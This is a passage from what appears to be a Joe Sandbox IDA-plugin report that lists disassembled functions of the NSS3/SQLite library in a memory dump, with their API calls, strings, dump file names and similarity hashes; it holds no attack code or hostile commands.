Opcode Fuzzy Hash: c2e68d1ca9f409165cfac63a79bfce4ea7393d0ab3e02b00ed413cccdf737d6c
Instruction Fuzzy Hash: 8961C170A002059FDB09CF29CC90BAA37B2BF45358F1448A9ED285BB52D730EC46CFA0

Function 6C5DFCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5DFD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DFD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5DFE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DFE83

Part of subcall function 6C5DFEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6C5DFEFA
Part of subcall function 6C5DFEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6C5DFF3B

Strings

database corruption, xrefs: 6C5DFD6E, 6C5DFE30
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5DFD64, 6C5DFE26
%s at line %d of [%.10s], xrefs: 6C5DFD73, 6C5DFE35

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: 9a7c8e8db9d923da48674f8146a085e20669fe4fef29915c3e97d4d69f748306
Instruction ID: f8b52f8f2e6dbdf8dbc5dd1c5b323f79f697c4421a8a330b48975e1c727e204b
Opcode Fuzzy Hash: 9a7c8e8db9d923da48674f8146a085e20669fe4fef29915c3e97d4d69f748306
Instruction Fuzzy Hash: B1518F71A002059FDB04CFADDD90AAEB7B1EF48308F154169EA05ABB52E731FD50CBA4

Function 6C722F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C722FFD
sqlite3_initialize.NSS3 ref: 6C723007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C723032
sqlite3_mprintf.NSS3(6C78AAF9,?), ref: 6C723073
sqlite3_free.NSS3(?), ref: 6C7230B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6C7230C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6C7230BB

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 730c050f35a21fc24e4be7c132324710734b3228a13605a4e0973480b7ce6acc
Instruction ID: d40c16d559fc85d586ee09db67bec24a23d830ebd23b3cea79d6e5ea7edb4d8e
Opcode Fuzzy Hash: 730c050f35a21fc24e4be7c132324710734b3228a13605a4e0973480b7ce6acc
Instruction Fuzzy Hash: F941C271600606AFDB10CF25D944A86B7AAFF44368F148639EC2987B40E735F955CBE1

Function 6C6A5ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(q]jl), ref: 6C6A5F0A
TlsGetValue.KERNEL32 ref: 6C6A5F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6C6A5F2F
PR_Unlock.NSS3(890008E8), ref: 6C6A5F55
PR_SetError.NSS3(00000000,00000000), ref: 6C6A5F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6C6A5F7D

Part of subcall function 6C6A5220: TlsGetValue.KERNEL32(00000000,890008E8,?,6C6A5F82,8B4274C0), ref: 6C6A5248
Part of subcall function 6C6A5220: EnterCriticalSection.KERNEL32(0F6C770D,?,6C6A5F82,8B4274C0), ref: 6C6A525C
Part of subcall function 6C6A5220: PR_SetError.NSS3(00000000,00000000), ref: 6C6A528E
Part of subcall function 6C6A5220: PR_Unlock.NSS3(0F6C76F1), ref: 6C6A5299
Part of subcall function 6C6A5220: free.MOZGLUE(00000000), ref: 6C6A52A9

Strings

q]jl, xrefs: 6C6A5EDB, 6C6A5F09

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID: q]jl
API String ID: 3150690610-1303710552
Opcode ID: 2a10d3fcd7f3dcc7f39e12458bbdaea1c2d0b5102a11b6f95f64c804418a40e2
Instruction ID: d09578a01e7b88a59bb3eafc0fe3ebecaa9497c84260a071ed4e689792d1ebe0
Opcode Fuzzy Hash: 2a10d3fcd7f3dcc7f39e12458bbdaea1c2d0b5102a11b6f95f64c804418a40e2
Instruction Fuzzy Hash: DB21D6B1D00604AFDB10DFA4EC45AEEB7B4EF09318F544039E90AA7700FB31A9558B99

Function 6C668CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C67124D,00000001), ref: 6C668D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C67124D,00000001), ref: 6C668D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C67124D,00000001), ref: 6C668D73
PR_Unlock.NSS3(?,?,?,?,?,6C67124D,00000001), ref: 6C668D8C

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

PR_Unlock.NSS3(?,?,?,?,?,6C67124D,00000001), ref: 6C668DBA

Strings

KRAM, xrefs: 6C668D3E
KRAM, xrefs: 6C668CF9

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 8270b835501c95c7981c1040cd94e5e06ce5135ab7eecfe3e0030c1a06517830
Instruction ID: 71df5769bc523673114dcbaa0c868518cedc362bc96d46a476d1fcf7beda50f4
Opcode Fuzzy Hash: 8270b835501c95c7981c1040cd94e5e06ce5135ab7eecfe3e0030c1a06517830
Instruction Fuzzy Hash: ED2191B1A04601DFCB00EF7AC48459EB7F0FF4A308F15896AD89887B11D734E842CBA6

Function 6C760ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C760EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C760EFA

Part of subcall function 6C64AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C64AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F2B

Strings

Aborting, xrefs: 6C760EB3
Assertion failure: %s, at %s:%d, xrefs: 6C760ED9, 6C760EE5, 6C760F06, 6C760F0B

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: d59ad63bf2ffd7cb1fc21767a24e4fe708ad480565092c35a38d5f65aa5a29ae
Instruction ID: 3f3598f6e4d24fa77333da7899d060b1aa6a50fa715b661cd241871710cbd306
Opcode Fuzzy Hash: d59ad63bf2ffd7cb1fc21767a24e4fe708ad480565092c35a38d5f65aa5a29ae
Instruction Fuzzy Hash: 8101C0B5900214BBDF01AFA5ED49CAB3F3DEF46365B004074FD0997B01D632E91087A2

Function 6C741C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=dl,?,?,6C644E1D), ref: 6C741C8A
sqlite3_free.NSS3(00000000), ref: 6C741CB6

Strings

w=dl, xrefs: 6C741C44
non-deterministic use of %s() in %s, xrefs: 6C741C85
a CHECK constraint, xrefs: 6C741C76, 6C741C81
a generated column, xrefs: 6C741C6C
an index, xrefs: 6C741C67

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=dl
API String ID: 1840970956-3929578942
Opcode ID: adbc21476890aec29598050f06453027223276dce0d4bacb982b1ecc7e5968e9
Instruction ID: fc8d503fb807e3582604028424926bca09c96b6e3432ad649057c59e4f7662ef
Opcode Fuzzy Hash: adbc21476890aec29598050f06453027223276dce0d4bacb982b1ecc7e5968e9
Instruction Fuzzy Hash: 910147B1B002005BD704BB2CD91297177E5EFC238CB15487DEE49DBB02EB22E856C755

Function 6C724D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C724DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C724DE0

Strings

invalid, xrefs: 6C724DB8
misuse, xrefs: 6C724DD5
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C724DCB
%s at line %d of [%.10s], xrefs: 6C724DDA
API call with %s database connection pointer, xrefs: 6C724DBD

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: c0e970f983fc86db9cd2d8ad2e2f4ae5b7feda6b56081b1e3a72982cd587565d
Instruction ID: 4ff96e5e84b843b56e6a55e21a4e6191d18ebe16a132f69606180104f3a23a99
Opcode Fuzzy Hash: c0e970f983fc86db9cd2d8ad2e2f4ae5b7feda6b56081b1e3a72982cd587565d
Instruction Fuzzy Hash: 5BF0BE22A156682BD7005155DF22F86379A4F02329F8609B1EF087BB92D20AAA908295

Function 6C724DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C724E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C724E4D

Strings

invalid, xrefs: 6C724E25
misuse, xrefs: 6C724E42
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C724E38
%s at line %d of [%.10s], xrefs: 6C724E47
API call with %s database connection pointer, xrefs: 6C724E2A

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: af1dbd6d4de815b7e20467e28cf0f7d58a2eca7bb01e1d91bf0569492b6c3fbb
Instruction ID: bd7388b8e6f0b4b41a11704e9038bc3d7054eb679024a7b8990befec1b8848b1
Opcode Fuzzy Hash: af1dbd6d4de815b7e20467e28cf0f7d58a2eca7bb01e1d91bf0569492b6c3fbb
Instruction Fuzzy Hash: C2F02711F459282BF71050699F11F87379E4B02329F8954F1EF0C7BE92D30D9EA052D5

Function 6C659FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C65A086
EnterCriticalSection.KERNEL32(?), ref: 6C65A09B
PR_Unlock.NSS3(?), ref: 6C65A0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65A0E9
TlsGetValue.KERNEL32 ref: 6C65A11B
EnterCriticalSection.KERNEL32(?), ref: 6C65A12F
PR_Unlock.NSS3(?), ref: 6C65A148

Part of subcall function 6C671A40: PR_Now.NSS3(?,00000000,6C6528AD,00000000,?,6C66F09A,00000000,6C6528AD,6C6593B0,?,6C6593B0,6C6528AD,00000000,?,00000000), ref: 6C671A65

Part of subcall function 6C671940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6C674126,?), ref: 6C671966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65A1A3

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: e65cc857cf499abfa92ccf8e1a63af1c86f5c587a9fce0ec9fbd20ea2beac6f0
Instruction ID: d7b745329589c4cf52f16fb1097d40683d164b752f1c6948075c2546dc765dd8
Opcode Fuzzy Hash: e65cc857cf499abfa92ccf8e1a63af1c86f5c587a9fce0ec9fbd20ea2beac6f0
Instruction Fuzzy Hash: 3851F5B1A00201ABEB109F79DC44ABB77B9AF8634CB644439DC1997B02EF31D855C7B9

Function 6C690C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C691444,?,00000001,?,00000000,00000000,?,?,6C691444,?,?,00000000,?,?), ref: 6C690CB3

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?,?,6C691444,?), ref: 6C690DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?,?,6C691444,?), ref: 6C690DEC

Part of subcall function 6C6B0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C652AF5,?,?,?,?,?,6C650A1B,00000000), ref: 6C6B0F1A
Part of subcall function 6C6B0F10: malloc.MOZGLUE(00000001), ref: 6C6B0F30
Part of subcall function 6C6B0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C6B0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?), ref: 6C690DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C691444,?,00000001,?,00000000), ref: 6C690E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?), ref: 6C690E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?,?,6C691444,?,?,00000000), ref: 6C690E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C691444,?,00000001,?,00000000,00000000,?), ref: 6C690E79

Part of subcall function 6C6A1560: TlsGetValue.KERNEL32(00000000,?,6C670844,?), ref: 6C6A157A
Part of subcall function 6C6A1560: EnterCriticalSection.KERNEL32(?,?,?,6C670844,?), ref: 6C6A158F
Part of subcall function 6C6A1560: PR_Unlock.NSS3(?,?,?,?,6C670844,?), ref: 6C6A15B2

Part of subcall function 6C66B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C671397,00000000,?,6C66CF93,5B5F5EC0,00000000,?,6C671397,?), ref: 6C66B1CB
Part of subcall function 6C66B1A0: free.MOZGLUE(5B5F5EC0,?,6C66CF93,5B5F5EC0,00000000,?,6C671397,?), ref: 6C66B1D2

Part of subcall function 6C6689E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C6688AE,-00000008), ref: 6C668A04
Part of subcall function 6C6689E0: EnterCriticalSection.KERNEL32(?), ref: 6C668A15
Part of subcall function 6C6689E0: memset.VCRUNTIME140(6C6688AE,00000000,00000132), ref: 6C668A27
Part of subcall function 6C6689E0: PR_Unlock.NSS3(?), ref: 6C668A35

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 7c01e8e9dcb8693a346e1152ae93aebef5e802ed09be18b9235cea3c0b86db7c
Instruction ID: 8919e93143be4044245895a9d88bdb2791ed12b196d266ebd16ed6fad71729ca
Opcode Fuzzy Hash: 7c01e8e9dcb8693a346e1152ae93aebef5e802ed09be18b9235cea3c0b86db7c
Instruction Fuzzy Hash: DC51D9F5D002019FEB109F64DC85AAB37A8EF4A318F150464ED1997B12FB31ED1987AE

Function 6C646E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C646ED8
sqlite3_value_text.NSS3(?,?), ref: 6C646EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C646FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C646FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C646FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C647010
sqlite3_value_blob.NSS3(?,?), ref: 6C64701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C647052

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: f9dfc056b62c07f78d7555f3e67fe5a187b7155ee1d2afe386c536923178abaf
Instruction ID: d556bf23be8ba49df7ef0af32603c3ee1d4f2bf46e4938304b9abc7337f5d69d
Opcode Fuzzy Hash: f9dfc056b62c07f78d7555f3e67fe5a187b7155ee1d2afe386c536923178abaf
Instruction Fuzzy Hash: 4B61E2B1E0520A8BDB40CF65C8007EEB7B2AF45308F28C165D855ABB51E732DC16CBA8

Function 6C6B8F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6C6B7313), ref: 6C6B8FBB

Part of subcall function 6C6B07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C658298,?,?,?,6C64FCE5,?), ref: 6C6B07BF
Part of subcall function 6C6B07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6B07E6
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B081B
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B0825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B9012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B90DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6C6B7313), ref: 6C6B90F1

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
